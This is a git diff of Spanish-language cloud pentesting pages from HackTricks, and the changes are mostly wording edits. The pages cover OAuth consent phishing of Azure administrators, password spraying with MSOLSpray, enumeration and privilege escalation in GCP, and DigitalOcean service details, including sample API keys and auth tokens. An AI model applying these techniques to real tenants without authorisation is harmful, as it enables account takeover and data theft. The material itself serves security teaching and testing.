@@ -25,7 +25,7 @@ Y si pueden consentir a todas las aplicaciones, pueden consentir a todas las apl
- Si el usuario phished es un administrador que puede **consentir cualquier aplicación con cualquier permiso**, la aplicación también podría **solicitar permisos privilegiados**.
- **Autenticado**: Habiendo comprometido un principal con suficientes privilegios, **crear una aplicación dentro de la cuenta** y **phishing** a algún **usuario privilegiado** que pueda aceptar permisos OAuth privilegiados.
- En este caso, ya puedes acceder a la información del directorio, por lo que el permiso `User.ReadBasic.All` ya no es interesante.
- Probablemente estés interesado en **permisos que requieren que un administrador los otorgue**, porque un usuario normal no puede dar a las aplicaciones OAuth ningún permiso, por eso necesitas **phishing solo a esos usuarios** (más sobre qué roles/permisos otorgan este privilegio más adelante).
- Probablemente estés interesado en **permisos que requieren que un administrador los otorgue**, porque un usuario normal no puede dar ningún permiso a las aplicaciones OAuth, por eso necesitas **phishing solo a esos usuarios** (más sobre qué roles/permisos otorgan este privilegio más adelante).
### Los usuarios pueden consentir
@@ -123,7 +123,7 @@ https://graph.microsoft.com/v1.0/me/onenote/notebooks \
### Phishing Post-Explotación
Dependiendo de los permisos solicitados, es posible que puedas **acceder a diferentes datos del inquilino** (lista de usuarios, grupos... o incluso modificar configuraciones) y **información del usuario** (archivos, notas, correos electrónicos...). Luego, puedes usar estos permisos para realizar esas acciones.
Dependiendo de los permisos solicitados, es posible que puedas **acceder a diferentes datos del inquilino** (listar usuarios, grupos... o incluso modificar configuraciones) y **información del usuario** (archivos, notas, correos electrónicos...). Luego, puedes usar estos permisos para realizar esas acciones.
### Post Explotación de Aplicaciones

View File

@@ -6,7 +6,7 @@
En **Azure**, esto se puede hacer contra **diferentes puntos finales de API** como Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
Sin embargo, ten en cuenta que esta técnica es **muy ruidosa** y el Blue Team puede **capturarlo fácilmente**. Además, la **complejidad forzada de la contraseña** y el uso de **MFA** pueden hacer que esta técnica sea algo inútil.
Sin embargo, ten en cuenta que esta técnica es **muy ruidosa** y el Blue Team puede **capturarlo fácilmente**. Además, la **complejidad de contraseña forzada** y el uso de **MFA** pueden hacer que esta técnica sea algo inútil.
Puedes realizar un ataque de password spray con [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell

View File

@@ -14,9 +14,9 @@ Para más información sobre las Máquinas Virtuales de Azure, consulta:
Un servicio de red que es vulnerable a algún RCE.
### Imágenes de Galería Públicas
### Imágenes de Galería Pública
Una imagen pública podría tener secretos dentro de ella:
Una imagen pública puede tener secretos dentro de ella:
```bash
# List all community galleries
az sig list-community --output table

View File

@@ -9,9 +9,9 @@ DigitalOcean es una **plataforma de computación en la nube que proporciona a lo
Algunas de las características clave de DigitalOcean incluyen:
- **Servidores privados virtuales (VPS)**: DigitalOcean proporciona VPS que pueden ser utilizados para alojar sitios web y aplicaciones. Estos VPS son conocidos por su simplicidad y facilidad de uso, y pueden ser desplegados rápida y fácilmente utilizando una variedad de "droplets" preconstruidos o configuraciones personalizadas.
- **Almacenamiento**: DigitalOcean ofrece una gama de opciones de almacenamiento, incluyendo almacenamiento de objetos, almacenamiento en bloques y bases de datos gestionadas, que pueden ser utilizados para almacenar y gestionar datos para sitios web y aplicaciones.
- **Almacenamiento**: DigitalOcean ofrece una gama de opciones de almacenamiento, incluyendo almacenamiento de objetos, almacenamiento en bloque y bases de datos gestionadas, que pueden ser utilizados para almacenar y gestionar datos para sitios web y aplicaciones.
- **Herramientas de desarrollo y despliegue**: DigitalOcean proporciona una variedad de herramientas que pueden ser utilizadas para construir, desplegar y gestionar aplicaciones, incluyendo APIs y droplets preconstruidos.
- **Seguridad**: DigitalOcean pone un fuerte énfasis en la seguridad, y ofrece una gama de herramientas y características para ayudar a los usuarios a mantener sus datos y aplicaciones seguros. Esto incluye cifrado, copias de seguridad y otras medidas de seguridad.
- **Seguridad**: DigitalOcean pone un fuerte énfasis en la seguridad y ofrece una gama de herramientas y características para ayudar a los usuarios a mantener sus datos y aplicaciones seguros. Esto incluye cifrado, copias de seguridad y otras medidas de seguridad.
En general, DigitalOcean es una plataforma de computación en la nube que proporciona a los usuarios las herramientas y recursos que necesitan para construir, desplegar y gestionar aplicaciones en la nube. Sus servicios están diseñados para ser simples y fáciles de usar, lo que los hace populares entre desarrolladores y pequeñas empresas.
@@ -19,7 +19,7 @@ En general, DigitalOcean es una plataforma de computación en la nube que propor
Una de las principales diferencias entre DigitalOcean y AWS es la **gama de servicios que ofrecen**. **DigitalOcean se centra en proporcionar servidores privados virtuales (VPS)** simples y fáciles de usar, almacenamiento y herramientas de desarrollo y despliegue. **AWS**, por otro lado, ofrece una **gama de servicios mucho más amplia**, incluyendo VPS, almacenamiento, bases de datos, aprendizaje automático, análisis y muchos otros servicios. Esto significa que AWS es más adecuado para aplicaciones complejas a nivel empresarial, mientras que DigitalOcean es más adecuado para pequeñas empresas y desarrolladores.
Otra diferencia clave entre las dos plataformas es la **estructura de precios**. **Los precios de DigitalOcean son generalmente más directos y fáciles** de entender que los de AWS, con una variedad de planes de precios que se basan en el número de droplets y otros recursos utilizados. AWS, por otro lado, tiene una estructura de precios más compleja que se basa en una variedad de factores, incluyendo el tipo y la cantidad de recursos utilizados. Esto puede dificultar la predicción de costos al usar AWS.
Otra diferencia clave entre las dos plataformas es la **estructura de precios**. **Los precios de DigitalOcean son generalmente más sencillos y fáciles** de entender que los de AWS, con una variedad de planes de precios basados en el número de droplets y otros recursos utilizados. AWS, por otro lado, tiene una estructura de precios más compleja que se basa en una variedad de factores, incluyendo el tipo y la cantidad de recursos utilizados. Esto puede dificultar la predicción de costos al usar AWS.
## Jerarquía
@@ -31,11 +31,11 @@ Un usuario es lo que esperas, un usuario. Puede **crear Equipos** y **ser miembr
Un equipo es un grupo de **usuarios**. Cuando un usuario crea un equipo, tiene el **rol de propietario en ese equipo** y inicialmente **configura la información de facturación**. **Otros** usuarios pueden ser **invitados** al equipo.
Dentro del equipo puede haber varios **proyectos**. Un proyecto es solo un **conjunto de servicios en funcionamiento**. Puede ser utilizado para **separar diferentes etapas de infraestructura**, como producción, staging, desarrollo...
Dentro del equipo puede haber varios **proyectos**. Un proyecto es solo un **conjunto de servicios en ejecución**. Puede ser utilizado para **separar diferentes etapas de infraestructura**, como producción, staging, desarrollo...
### Proyecto
Como se explicó, un proyecto es solo un contenedor para todos los **servicios** (droplets, espacios, bases de datos, kubernetes...) **que funcionan juntos dentro de él**.\
Como se explicó, un proyecto es solo un contenedor para todos los **servicios** (droplets, espacios, bases de datos, kubernetes...) **que se ejecutan juntos dentro de él**.\
Un proyecto de Digital Ocean es muy similar a un proyecto de GCP sin IAM.
## Permisos
@@ -90,37 +90,37 @@ Name: key-example
Keyid: DO00ZW4FABSGZHAABGFX
Secret: 2JJ0CcQZ56qeFzAJ5GFUeeR4Dckarsh6EQSLm87MKlM
```
### OAuth Application
### Aplicación OAuth
Las aplicaciones OAuth pueden recibir **acceso a Digital Ocean**.
Es posible **crear aplicaciones OAuth** en [https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications) y verificar todas las **aplicaciones OAuth permitidas** en [https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access).
### SSH Keys
### Claves SSH
Es posible agregar **claves SSH a un equipo de Digital Ocean** desde la **consola** en [https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security).
De esta manera, si creas un **nuevo droplet, la clave SSH se configurará** en él y podrás **iniciar sesión a través de SSH** sin contraseña (ten en cuenta que las [claves SSH recién subidas no se configuran en droplets ya existentes por razones de seguridad](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/)).
### Functions Authentication Token
### Token de Autenticación de Funciones
La forma **de activar una función a través de REST API** (siempre habilitado, es el método que utiliza el cli) es activando una solicitud con un **token de autenticación** como:
La forma de **activar una función a través de REST API** (siempre habilitado, es el método que utiliza el cli) es activando una solicitud con un **token de autenticación** como:
```bash
curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
-H "Content-Type: application/json" \
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
```
## Logs
## Registros
### User logs
### Registros de usuario
Los **logs de un usuario** se pueden encontrar en [**https://cloud.digitalocean.com/account/activity**](https://cloud.digitalocean.com/account/activity)
Los **registros de un usuario** se pueden encontrar en [**https://cloud.digitalocean.com/account/activity**](https://cloud.digitalocean.com/account/activity)
### Team logs
### Registros de equipo
Los **logs de un equipo** se pueden encontrar en [**https://cloud.digitalocean.com/account/security**](https://cloud.digitalocean.com/account/security)
Los **registros de un equipo** se pueden encontrar en [**https://cloud.digitalocean.com/account/security**](https://cloud.digitalocean.com/account/security)
## References
## Referencias
- [https://docs.digitalocean.com/products/teams/how-to/manage-membership/](https://docs.digitalocean.com/products/teams/how-to/manage-membership/)

View File

@@ -4,11 +4,11 @@
## Información Básica
[De la documentación:](https://docs.digitalocean.com/glossary/app-platform/) App Platform es una oferta de Plataforma como Servicio (PaaS) que permite a los desarrolladores **publicar código directamente en los servidores de DigitalOcean** sin preocuparse por la infraestructura subyacente.
[De la documentación:](https://docs.digitalocean.com/glossary/app-platform/) App Platform es una oferta de Plataforma como Servicio (PaaS) que permite a los desarrolladores **publicar código directamente en los** servidores de DigitalOcean **sin preocuparse por la infraestructura subyacente**.
Puedes ejecutar código directamente desde **github**, **gitlab**, **docker hub**, **DO container registry** (o una aplicación de muestra).
Al definir una **env var**, puedes configurarla como **encriptada**. La única forma de **retreive** su valor es ejecutando **commands** dentro del host que ejecuta la aplicación.
Al definir una **env var**, puedes configurarla como **encriptada**. La única forma de **recuperar** su valor es ejecutando **comandos** dentro del host que ejecuta la aplicación.
Una **App URL** se ve así [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)

View File

@@ -6,7 +6,7 @@
DigitalOcean Container Registry es un servicio proporcionado por DigitalOcean que **te permite almacenar y gestionar imágenes de Docker**. Es un registro **privado**, lo que significa que las imágenes que almacenas en él son accesibles solo para ti y los usuarios a los que les otorgues acceso. Esto te permite almacenar y gestionar de manera segura tus imágenes de Docker, y usarlas para desplegar contenedores en DigitalOcean o en cualquier otro entorno que soporte Docker.
Al crear un Container Registry, es posible **crear un secreto con acceso a imágenes pull (lectura) sobre él en todos los namespaces** de los clústeres de Kubernetes.
Al crear un Container Registry, es posible **crear un secreto con acceso a imágenes de pull (lectura) sobre él en todos los namespaces** de los clústeres de Kubernetes.
### Conexión
```bash

View File

@@ -1,12 +1,12 @@
# DO - Databases
# DO - Bases de datos
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
Con las Bases de Datos de DigitalOcean, puedes **crear y gestionar bases de datos en la nube** sin tener que preocuparte por la infraestructura subyacente. El servicio ofrece una variedad de opciones de bases de datos, incluyendo **MySQL**, **PostgreSQL**, **MongoDB** y **Redis**, y proporciona herramientas para administrar y monitorear tus bases de datos. Las Bases de Datos de DigitalOcean están diseñadas para ser altamente escalables, confiables y seguras, lo que las convierte en una opción ideal para impulsar aplicaciones y sitios web modernos.
Con DigitalOcean Databases, puedes **crear y gestionar bases de datos en la nube** sin tener que preocuparte por la infraestructura subyacente. El servicio ofrece una variedad de opciones de bases de datos, incluyendo **MySQL**, **PostgreSQL**, **MongoDB** y **Redis**, y proporciona herramientas para administrar y monitorear tus bases de datos. DigitalOcean Databases está diseñado para ser altamente escalable, confiable y seguro, lo que lo convierte en una opción ideal para impulsar aplicaciones y sitios web modernos.
### Detalles de Conexiones
### Detalles de conexiones
Al crear una base de datos, puedes seleccionar configurarla como **accesible desde una red pública**, o solo desde dentro de una **VPC**. Además, te solicita **agregar a la lista blanca las IPs que pueden acceder** (tu IPv4 puede ser una).

View File

@@ -20,7 +20,7 @@ Los snapshots se pueden usar para crear nuevos Droplets con la misma configuraci
Por otro lado, un backup es una copia completa de un Droplet, incluyendo el sistema operativo, aplicaciones instaladas, archivos y datos, así como la configuración y metadatos del Droplet. Los backups se realizan típicamente en un horario regular, y capturan el estado completo de un Droplet en un momento específico.
A diferencia de los snapshots, los backups se almacenan en un formato comprimido y cifrado, y se transfieren fuera de la infraestructura de DigitalOcean a una ubicación remota para su custodia. Esto hace que los backups sean ideales para la recuperación ante desastres, ya que proporcionan una copia completa de un Droplet que se puede restaurar en caso de pérdida de datos u otros eventos catastróficos.
A diferencia de los snapshots, los backups se almacenan en un formato comprimido y cifrado, y se transfieren fuera de la infraestructura de DigitalOcean a una ubicación remota para su resguardo. Esto hace que los backups sean ideales para la recuperación ante desastres, ya que proporcionan una copia completa de un Droplet que se puede restaurar en caso de pérdida de datos u otros eventos catastróficos.
En resumen, los snapshots son copias en un momento dado del disco de un Droplet, mientras que los backups son copias completas de un Droplet, incluyendo su configuración y metadatos. Los snapshots se almacenan en el servicio de almacenamiento de objetos de DigitalOcean, mientras que los backups se transfieren fuera de la infraestructura de DigitalOcean a una ubicación remota. Tanto los snapshots como los backups se pueden usar para restaurar un Droplet, pero los snapshots son más eficientes de usar y almacenar, mientras que los backups proporcionan una solución de respaldo más completa para la recuperación ante desastres.
@@ -28,12 +28,12 @@ En resumen, los snapshots son copias en un momento dado del disco de un Droplet,
### Autenticación
Para la autenticación, es posible **habilitar SSH** a través de nombre de usuario y **contraseña** (contraseña definida cuando se crea el droplet). O **seleccionar una o más de las claves SSH subidas**.
Para la autenticación es posible **habilitar SSH** a través de nombre de usuario y **contraseña** (contraseña definida cuando se crea el droplet). O **seleccionar una o más de las claves SSH subidas**.
### Firewall
> [!CAUTION]
> Por defecto, **los droplets se crean SIN UN FIREWALL** (no como en otras nubes como AWS o GCP). Así que si quieres que DO proteja los puertos del droplet (VM), necesitas **crearlo y adjuntarlo**.
> Por defecto, **los droplets se crean SIN UN FIREWALL** (no como en otras nubes como AWS o GCP). Así que si deseas que DO proteja los puertos del droplet (VM), necesitas **crearlo y adjuntarlo**.
Más información en:

View File

@@ -4,9 +4,9 @@
## Información Básica
DigitalOcean Functions, también conocido como "DO Functions," es una plataforma de computación sin servidor que te permite **ejecutar código sin tener que preocuparte por la infraestructura subyacente**. Con DO Functions, puedes escribir y desplegar tu código como "funciones" que pueden ser **activadas** a través de **API**, **solicitudes HTTP** (si están habilitadas) o **cron**. Estas funciones se ejecutan en un entorno completamente gestionado, por lo que **no necesitas preocuparte** por la escalabilidad, seguridad o mantenimiento.
DigitalOcean Functions, también conocido como "DO Functions", es una plataforma de computación sin servidor que te permite **ejecutar código sin tener que preocuparte por la infraestructura subyacente**. Con DO Functions, puedes escribir y desplegar tu código como "funciones" que pueden ser **activadas** a través de **API**, **solicitudes HTTP** (si están habilitadas) o **cron**. Estas funciones se ejecutan en un entorno completamente gestionado, por lo que **no necesitas preocuparte** por la escalabilidad, la seguridad o el mantenimiento.
En DO, para crear una función primero necesitas **crear un espacio de nombres** que será **un grupo de funciones**.\
En DO, para crear una función primero necesitas **crear un espacio de nombres** que agrupará las **funciones**.\
Dentro del espacio de nombres, puedes crear una función.
### Activadores
@@ -17,7 +17,7 @@ curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c1
-H "Content-Type: application/json" \
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
```
Para ver cómo la herramienta de línea de comandos **`doctl`** está obteniendo este token (para que puedas replicarlo), el **siguiente comando muestra el rastro de red completo:**
Para ver cómo la herramienta de línea de comandos **`doctl`** obtiene este token (para que puedas replicarlo), el **siguiente comando muestra el rastro de red completo:**
```bash
doctl serverless connect --trace
```
@@ -25,7 +25,7 @@ doctl serverless connect --trace
> [!CAUTION]
> En las funciones de DO, **las variables de entorno no se pueden cifrar** (en el momento de escribir esto).\
> No pude encontrar ninguna manera de leerlas desde la CLI, pero desde la consola es bastante sencillo.
> No pude encontrar ninguna manera de leerlas desde la CLI, pero desde la consola es directo.
**Las URL de las funciones** se ven así: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`

View File

@@ -6,7 +6,7 @@
Las Imágenes de DigitalOcean son **imágenes de sistema operativo o aplicación preconstruidas** que se pueden usar para crear nuevos Droplets (máquinas virtuales) en DigitalOcean. Son similares a las plantillas de máquinas virtuales y te permiten **crear rápida y fácilmente nuevos Droplets con el sistema operativo** y las aplicaciones que necesitas.
DigitalOcean proporciona una amplia gama de Imágenes, incluidos sistemas operativos populares como Ubuntu, CentOS y FreeBSD, así como Imágenes de aplicaciones preconfiguradas como LAMP, MEAN y LEMP. También puedes crear tus propias Imágenes personalizadas o usar Imágenes de la comunidad.
DigitalOcean ofrece una amplia gama de Imágenes, incluidos sistemas operativos populares como Ubuntu, CentOS y FreeBSD, así como Imágenes de aplicaciones preconfiguradas como LAMP, MEAN y LEMP. También puedes crear tus propias Imágenes personalizadas o usar Imágenes de la comunidad.
Cuando creas un nuevo Droplet en DigitalOcean, puedes elegir una Imagen para usar como base para el Droplet. Esto instalará automáticamente el sistema operativo y cualquier aplicación preinstalada en el nuevo Droplet, para que puedas comenzar a usarlo de inmediato. Las Imágenes también se pueden usar para crear instantáneas y copias de seguridad de tus Droplets, para que puedas crear fácilmente nuevos Droplets a partir de la misma configuración en el futuro.

View File

@@ -9,7 +9,7 @@
DOKS es un servicio de Kubernetes gestionado ofrecido por DigitalOcean. El servicio está diseñado para **desplegar y gestionar clústeres de Kubernetes en la plataforma de DigitalOcean**. Los aspectos clave de DOKS incluyen:
1. **Facilidad de Gestión**: Se elimina la necesidad de configurar y mantener la infraestructura subyacente, simplificando la gestión de clústeres de Kubernetes.
2. **Interfaz Amigable**: Proporciona una interfaz intuitiva que facilita la creación y administración de clústeres.
2. **Interfaz Amigable para el Usuario**: Proporciona una interfaz intuitiva que facilita la creación y administración de clústeres.
3. **Integración con Servicios de DigitalOcean**: Se integra sin problemas con otros servicios proporcionados por DigitalOcean, como Balanceadores de Carga y Almacenamiento en Bloque.
4. **Actualizaciones y Mejoras Automáticas**: El servicio incluye la actualización y mejora automática de clústeres para garantizar que estén al día.

View File

@@ -1,11 +1,11 @@
# DO - Projects
# DO - Proyectos
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
> un proyecto es solo un contenedor para todos los **servicios** (droplets, spaces, bases de datos, kubernetes...) **que se ejecutan juntos dentro de él**.\
> Para más información, consulta:
> Para más información consulta:
{{#ref}}
../do-basic-information.md

View File

@@ -1,10 +1,10 @@
# DO - Volumes
# DO - Volúmenes
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
Los volúmenes de DigitalOcean son dispositivos de **almacenamiento en bloque** que pueden ser **adjuntados y desadjuntados de Droplets**. Los volúmenes son útiles para **almacenar datos** que necesitan **persistir** independientemente del Droplet en sí, como bases de datos o almacenamiento de archivos. Pueden ser redimensionados, adjuntados a múltiples Droplets y tomar instantáneas para copias de seguridad.
Los volúmenes de DigitalOcean son dispositivos de **almacenamiento en bloque** que se pueden **adjuntar y desadjuntar de los Droplets**. Los volúmenes son útiles para **almacenar datos** que necesitan **persistir** independientemente del Droplet en sí, como bases de datos o almacenamiento de archivos. Pueden ser redimensionados, adjuntados a múltiples Droplets y tomar instantáneas para copias de seguridad.
### Enumeración
```

View File

@@ -34,9 +34,9 @@ Desde el punto de vista de un Red Team, el **primer paso para comprometer un amb
- `/home/USERNAME/.config/gcloud/*`
- `C:\Users\USERNAME\.config\gcloud\*`
- **terceros** **comprometidos**
- Empleado **Interno**
- **Empleado** Interno
O comprometiendo un **servicio no autenticado** expuesto:
O comprometiendo un servicio **no autenticado** expuesto:
{{#ref}}
gcp-unauthenticated-enum-and-access/
@@ -86,7 +86,7 @@ gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID
gcloud resource-manager folders list --organization <org_number> # Get folders
gcloud projects list # Get projects
```
### Principales y Enumeración de IAM
### Principios y Enumeración de IAM
Si tienes suficientes permisos, **verificar los privilegios de cada entidad dentro de la cuenta de GCP** te ayudará a entender qué puedes hacer tú y otras identidades y cómo **escalar privilegios**.
@@ -103,7 +103,7 @@ gcp-services/gcp-iam-and-org-policies-enum.md
## Enumeración de Servicios
GCP tiene una asombrosa cantidad de servicios, en la siguiente página encontrarás **información básica, cheatsheets de enumeración**, cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos:
GCP tiene una asombrosa cantidad de servicios, en la siguiente página encontrarás **información básica, enumeración** de cheatsheets, cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos:
{{#ref}}
gcp-services/
@@ -119,7 +119,7 @@ gcp-unauthenticated-enum-and-access/
## Escalación de Privilegios, Post Explotación y Persistencia
La forma más común una vez que has obtenido algunas credenciales en la nube o has comprometido algún servicio que se ejecuta dentro de una nube es **abusar de los privilegios mal configurados** que puede tener la cuenta comprometida. Así que, lo primero que debes hacer es enumerar tus privilegios.
La forma más común una vez que has obtenido algunas credenciales en la nube o has comprometido algún servicio que se ejecuta dentro de la nube es **abusar de privilegios mal configurados** que la cuenta comprometida puede tener. Así que, lo primero que debes hacer es enumerar tus privilegios.
Además, durante esta enumeración, recuerda que **los permisos pueden establecerse en el nivel más alto de "Organización"** también.
@@ -171,7 +171,7 @@ pip install -r requirements.txt
python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
```
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Script de Bash para enumerar un entorno de GCP utilizando gcloud cli y guardar los resultados en un archivo.
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts para enumerar altos privilegios de IAM y para escalar privilegios en GCP abusando de ellos (no pude hacer que se ejecutara el script de enumeración).
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts para enumerar altos privilegios de IAM y para escalar privilegios en GCP abusando de ellos (no pude hacer funcionar el script de enumeración).
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Script para forzar tus permisos.
## gcloud config & debug
@@ -191,7 +191,7 @@ gcloud components update
```
### Captura de red gcloud, gsutil...
Recuerda que puedes usar el **parámetro** **`--log-http`** con la **`gcloud`** cli para **imprimir** las **solicitudes** que la herramienta está realizando. Si no deseas que los registros redacten el valor del token, usa `gcloud config set log_http_redact_token false`
Recuerda que puedes usar el **parámetro** **`--log-http`** con el **`gcloud`** cli para **imprimir** las **solicitudes** que la herramienta está realizando. Si no deseas que los registros redacten el valor del token, usa `gcloud config set log_http_redact_token false`
Además, para interceptar la comunicación:
```bash

View File

@@ -4,7 +4,7 @@
## **Jerarquía de recursos**
Google Cloud utiliza una [Jerarquía de recursos](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) que es similar, conceptualmente, a la de un sistema de archivos tradicional. Esto proporciona un flujo de trabajo lógico de padre/hijo con puntos de adjunto específicos para políticas y permisos.
Google Cloud utiliza una [jerarquía de recursos](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) que es similar, conceptualmente, a la de un sistema de archivos tradicional. Esto proporciona un flujo de trabajo lógico de padre/hijo con puntos de adjunto específicos para políticas y permisos.
A un alto nivel, se ve así:
```
@@ -64,29 +64,29 @@ Hay muchas más restricciones que te dan un control detallado sobre los recursos
- **Deshabilitar concesiones automáticas de IAM:** Previene que las cuentas de servicio predeterminadas de App Engine y Compute Engine sean automáticamente otorgadas el rol de Editor de IAM en un proyecto al crearse. Esto asegura que las cuentas de servicio no reciban roles de IAM excesivamente permisivos al crearse.
- **Deshabilitar la creación de claves de cuentas de servicio:** Previene la creación de claves de cuentas de servicio públicas. Esto ayuda a reducir el riesgo de exponer credenciales persistentes.
- **Deshabilitar la carga de claves de cuentas de servicio:** Previene la carga de claves de cuentas de servicio públicas. Esto ayuda a reducir el riesgo de material de clave filtrado o reutilizado.
- **Deshabilitar la carga de claves de cuentas de servicio:** Previene la carga de claves de cuentas de servicio públicas. Esto ayuda a reducir el riesgo de filtraciones o reutilización de material de clave.
**Políticas de configuración de red VPC segura**
**Políticas de configuración de red VPC seguras**
- **Definir IPs externas permitidas para instancias de VM:** Previene la creación de instancias Compute con una IP pública, lo que puede exponerlas al tráfico de internet.
* **Deshabilitar virtualización anidada de VM:** Previene la creación de VMs anidadas en VMs de Compute Engine. Esto disminuye el riesgo de seguridad de tener VMs anidadas no monitoreadas.
* **Deshabilitar la virtualización anidada de VM:** Previene la creación de VMs anidadas en VMs de Compute Engine. Esto disminuye el riesgo de seguridad de tener VMs anidadas no monitoreadas.
- **Deshabilitar puerto serie de VM:** Previene el acceso al puerto serie de VMs de Compute Engine. Esto previene la entrada al puerto serie de un servidor usando la API de Compute Engine.
- **Deshabilitar el puerto serie de VM:** Previene el acceso al puerto serie de VMs de Compute Engine. Esto previene la entrada a un puerto serie de servidor usando la API de Compute Engine.
* **Restringir redes autorizadas en instancias de Cloud SQL:** Previene que rangos de red públicos o no internos accedan a tus bases de datos de Cloud SQL.
- **Restringir el reenvío de protocolos según el tipo de dirección IP:** Previene el reenvío de protocolos de VM para direcciones IP externas.
* **Restringir el acceso IP público en instancias de Cloud SQL:** Previene la creación de instancias de Cloud SQL con una IP pública, lo que puede exponerlas al tráfico de internet.
* **Restringir el acceso a IP pública en instancias de Cloud SQL:** Previene la creación de instancias de Cloud SQL con una IP pública, lo que puede exponerlas al tráfico de internet.
- **Restringir la eliminación de gravámenes de proyectos VPC compartidos:** Previene la eliminación accidental de proyectos anfitriones de VPC compartidos.
- **Restringir la eliminación de gravámenes de proyectos compartidos de VPC:** Previene la eliminación accidental de proyectos anfitriones de VPC compartidos.
* **Establece la configuración de DNS interno para nuevos proyectos a Solo DNS Zonal:** Previene el uso de una configuración de DNS heredada que ha reducido la disponibilidad del servicio.
* **Establecer la configuración de DNS interno para nuevos proyectos a Solo DNS Zonal:** Previene el uso de una configuración de DNS heredada que ha reducido la disponibilidad del servicio.
- **Omitir la creación de red predeterminada:** Previene la creación automática de la red VPC predeterminada y recursos relacionados. Esto evita reglas de firewall predeterminadas excesivamente permisivas.
* **Deshabilitar el uso de IPv6 externo en VPC:** Previene la creación de subredes IPv6 externas, que pueden ser expuestas a accesos no autorizados a internet.
* **Deshabilitar el uso de IPv6 externo en VPC:** Previene la creación de subredes IPv6 externas, que pueden estar expuestas a accesos no autorizados a internet.
</details>
@@ -94,8 +94,8 @@ Hay muchas más restricciones que te dan un control detallado sobre los recursos
Estos son como las políticas de IAM en AWS ya que **cada rol contiene un conjunto de permisos.**
Sin embargo, a diferencia de AWS, **no hay un repositorio centralizado** de roles. En lugar de eso, **los recursos dan X roles de acceso a Y principales**, y la única forma de averiguar quién tiene acceso a un recurso es usar el **método `get-iam-policy` sobre ese recurso**.\
Esto podría ser un problema porque esto significa que la única forma de averiguar **qué permisos tiene un principal es preguntar a cada recurso a quién le está dando permisos**, y un usuario podría no tener permisos para obtener permisos de todos los recursos.
Sin embargo, a diferencia de AWS, no hay **un repositorio centralizado** de roles. En lugar de eso, **los recursos dan X roles de acceso a Y principales**, y la única forma de averiguar quién tiene acceso a un recurso es usar el **método `get-iam-policy` sobre ese recurso**.\
Esto podría ser un problema porque significa que la única forma de averiguar **qué permisos tiene un principal es preguntar a cada recurso a quién le está dando permisos**, y un usuario podría no tener permisos para obtener permisos de todos los recursos.
Hay **tres tipos** de roles en IAM:
@@ -106,7 +106,7 @@ Hay **tres tipos** de roles en IAM:
Hay miles de permisos en GCP. Para verificar si un rol tiene un permiso, puedes [**buscar el permiso aquí**](https://cloud.google.com/iam/docs/permissions-reference) y ver qué roles lo tienen.
También puedes [**buscar aquí roles predefinidos**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **ofrecidos por cada producto.** Ten en cuenta que algunos **roles** no pueden ser asignados a usuarios y **solo a cuentas de servicio debido a algunos permisos** que contienen.\
Además, ten en cuenta que los **permisos** solo **tendrán efecto** si están **adjuntos al servicio relevante.**
Además, ten en cuenta que los **permisos** solo **tendrán efecto** si están **asignados al servicio relevante.**
O verifica si un **rol personalizado puede usar un** [**permiso específico aquí**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
@@ -126,7 +126,7 @@ Puedes acceder a los **usuarios y grupos de Workspaces en** [**https://admin.goo
Cuando se crea una organización, se **sugiere encarecidamente crear varios grupos.** Si gestionas alguno de ellos, podrías haber comprometido toda o una parte importante de la organización:
